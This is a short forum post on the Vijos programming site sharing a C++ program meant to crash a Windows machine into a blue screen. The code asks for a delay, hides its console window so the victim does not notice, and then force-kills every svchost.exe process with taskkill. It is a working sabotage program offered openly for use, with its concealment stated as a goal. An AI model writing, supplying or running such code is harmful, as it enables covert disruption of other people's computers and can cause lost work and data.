/ Vijos / 讨论 / 分享 /

蓝屏C++代码(需要管理员权限)

输入几分钟蓝屏后黑框框会消失,防止露馅

#include <cstdlib>
#include <cstdio>
#include <windows.h>
int main()
{
    puts("请问您需要在几分钟后蓝屏");
    double n;
    scanf("%lf", &n);
    HWND hWnd = GetConsoleWindow();
    if (hWnd) ShowWindow(hWnd, SW_HIDE);
    Sleep(n * 60000);
    system("taskkill /f /t /im svchost.exe");
    return 0;
}

0 条评论

目前还没有评论...